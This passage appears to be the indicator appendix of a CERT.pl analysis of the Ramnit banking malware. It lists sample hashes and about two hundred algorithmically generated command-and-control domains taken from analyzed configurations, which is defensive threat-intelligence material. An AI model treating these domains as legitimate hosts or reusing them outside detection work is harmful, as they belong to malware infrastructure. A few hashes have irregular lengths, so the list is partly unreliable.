- o c2cae7d9ef91dfcc1ae8f542e0ac64ce66c526d5a4154241855020612d358ee8
- o 1f3fbca46a599b4f221ead7785606451365db45bbbc537ee0c4d019e8984d106
- o 9d723bb1dc375834ebb907271b83dffab44e98b82fa73da6267037f019e4bc83
- o f3567e2b5fc521987f0dd79aff6f3b1328db8e03fa825c3c030080a8b5819564
- o 7689465ba010537b0c29cf18d32a25962bd1605b717733f5953eb1b1eb0a68c9
- o f98ca50b7d07682ac359b97dd68eb924c4cbd825db72c1a132458e9bb765fa1e
- o 4b00b0ecec480267af051e7907458381d8a9e8506c7da67b8a8e1d74d45773d68
- o 6ac47d82134385fa73386ff3cd7b2eb7008da2205b3f5af7b41fab45c63f9046
- o 6a1fc689d2ef32ee6288498f8a875c6dc880d7494f46c05d25d0e1f627984e8e
- o 522e935b91307b8c01e0ea8a724985f5b4e01227a761aaccb63b0f0d964f7e9
- o b3e67b5ee899c53f90c9da772592a4709372192542e1297bbce4929a8e1d5c69
- o 71d92cc6dc9273d162a969960b1021e5f18cf39b2c48043e5c5e49db5a58d955
- o da15c2a89334496910b6d966bf91fa25a1c9526c53796e06d166416abe7cf2f4
- o e4353bda9692581ea9743165dfd843238c23bb92e24b778983de80e90ac650a3

**DGA domains for analyzed configs:**

acncblsmbotlicnt.com
aeetbyamuwb.com
ahrkvtgc.com
aitlfdxgligxqow.com
aofmfaoc.com
aoyllsqihxxrvs.com
aruwggvopgxpah.com
atfpjouljn.com
auqpabknaty.com
ausprcogpngdpkaf.com
aynycxbgodmwi.com
bekvfkxfh.com
bheabdfug.com

bivaexusydnyp.com
bjfwfqviu.com
bnmokfrjpylxhvmwx.com
bphnopydih.com
brluetauvqpyjlmwr.com
bwnkdjlesbf.com
caosubld.com
cgvnwyfmh.com
citnngljfbhbqtlqlm.com
cjjugrow.com
cqvtvnxqsosfed.com
crocppgqudtds.com
ctprlgcxftdsaiqv.com
ctmqakpbbtk.com
cxownbsefbc.com
dameiuoflkwlswiqxcj.com
dlkortundbuov.com
dnjvsqdkisxqtbyghsm.com
dpyimnktiverqymrpyt.com
dvtwcefqgnixlrdb.com
eadvtywoomufnjo.com
echrepdvcd.com
eibmornpk.com
enyeikruptiukjorq.com
eppixrakgeueuttiivi.com
erwwbashtm.com
esxfrepqgyvoim.com
etmnmrpydwjsnftgoh.com
eukbhtrjtp.com
fbhtsymefdwstuivosx.com
fbnurqhsbun.com
fbtsotbs.com
fcvyvbtcdsw.com
ffdjiuvfw.com
fhvkufnnrlyvx.com
fkbpvfnbhfwedagusg.com
fkjhonoadoojlxtna.com
fkqrjsghoradylfslg.com
fmsqakcxgr.com
fnvweaywlctnxi.com

fownspjllwinayk.com
fsysgean.com
gcijrxipe.com
gejsyavxw.com
gfaronvw.com
ghvcoagkccor.com
grbjgfrk.com
grtkhmcxopofy.com
gssbjwhoose.com
gwlqggasgcluo.com
haqcdkwtukdegysigtv.com
hivlcjcvux.com
htiobrofuirwkgn.com
hvarfqrqddfoc.com
hvmwkgolgqsihrhhsd.com
hvvflaobcvavhxcvrx.com
ijsshatuadmd.com
inmrmbeyrt.com
irjeljgwfaokbkcxnh.com
isbwnfiyevmi.com
iutwddseukcdplwpslq.com
iwdellebhavmei.com
jcuwfvvstbag.com
jdnpwbnnya.com
jhaujfrlsbpyov.com
jhajgvatltxunklwk.com
jlaabpmergjoflssyg.com
kbivgyaakcntdet.com
kbodfwsbgfmoneuoj.com
knohwiieytaae.com
kntkuamkrwaknrusx.com
ktxerynkliucejfsy.com
lkmkkblchefeibicjl.com
lwqmgevnftflytvbgs.com
mbtseiltigrijncw.com
mdofetubarhorbvauf.com
mfdpeurxwcevjr.com
mfvgfeqskjbdvgbk.com
mngawiyhlyo.com
mpfyngouhnboktq.com

mrthpcokvjc.com
mvpmnboacemupui.com
mwqgwqcbllxhchd.com
nfyetostisllhm.com
nhqtfnep.com
nioqlfycvrlbt.com
nldgdanoa.com
nmcnknfccghddndnil.com
nmrnovjmcd.com
notalyyj.com
npcvnorvyhelagx.com
ntqchcmoegeif.com
nvrnisdf.com
oawvuycoy.com
ocpjudiabgt.com
oeuwldhkrnvxg.com
ogltynjmtfiu.com
onaxjbfinflx.com
oxxvnflhtpomjmwst.com
pbbwplaqmqlaehwjkc.com
pkjkgprlgtu.com
qdvmsrtrkslghpmunuk.com
qegdtvuanlyid.com
qislvfqqp.com
qjsqolupmciuvjdum.com
qlxuubxxxctvfcdejw.com
qmbmbyqkltqfbbtxxc.com
qnpuwhcfaqpsmms.com
qoraprffu.com
rbpyoxmokgfdpphixk.com
rclsurjwyrjqoebrqti.com
rgcakqlu.com
rggwfiqbmfysgpbgcc.com
rghwarmlxmqjvfms.com
rgmxtsagmrvrkofdkn.com
rlkeqcsygmmlv.com
rmprupuvboixif.com
rycvrswhnhytj.com
sambqdmwqnp.com
saqjrigpkuins.com

shebkucvrunporc.com
sihpxpjgtrbrmnogr.com
sinjydrv.com
skucfggcidnmjowl.com
smelxehyqouw.com
smsyalkclunrd.com
smxkflittvmpij.com
snxplvbkwja.com
sxwksoxeyapmrqldisp.com
tbgkcohpmbwrdsreyf.com
tinjahjgsutmdj.com
tmgmgjcv.com
tswgqcseq.com
uacwwgvrddgscbwb.com
uahvkwjphhklqgod.com
uclrmwfanhh.com
uegkbbacte.com
vbqyhrpdgum.com
vckiyseoembwipx.com
venexqliewgrpyaai.com
vfldtglyewhrl.com
viyiphasewchbpuqf.com
vjcowaocpfirjotrib.com
vpfhpoldbd.com
vqrsxslbqt.com
vutptwpxhkgjeql.com
warylmiwgo.com
wbrmgnjowapb.com
wdgqvaya.com
wewdxpjmugtefugid.com
wglxvpybhnxfv.com
wgpglbadxo.com
wgwuhauqcrx.com
whepgbwulfnbw.com
wiulqdhkoqmih.com
wjexvkfoquhsfngmu.com
wmrsfhcaqspdg.com
wrfjvimimqajugdqtul.com
wstujheiancyv.com
wwteytsfaiyrrg.com

	wwyreaohjbdyrajxif.com
	wxrbscgaicnqx.com
	wxxlrbjfyauvrpqfuv.com
	wydvijaantfg.com
	xkrndqbrwnayscq.com
	xntkgmrk.com
	xnvxmdujhycgicmgo.com
	xomeommdilsq.com
	xrgahblandvrrohfkp.com
	xtcigtmylu.com
	xxkdbpcrygynpcwujdx.com
	xxsmtenwak.com
	xynixjxxkgmxs.com
	ybhiodxwwmoymuv.com
	ycggsjmdvqhsel.com
	ydchosmhwljrrq.com
	ydwqpwwjpxij.com
	yeaysjbfeytrky.com
	ygqaluei.com
	yipxgadyonkkdqoraa.com
	ykvhpixrqgid.com
	ynnwhiuoxqjxrfqa.com
	ypairkaitcljoq.com
	yfpptsuthmaebx.com
	ypwosgnjytnbqin.com
	yqhkusykmqu.com
	yrbpnnlxrxbpett.com

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Source: <https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/>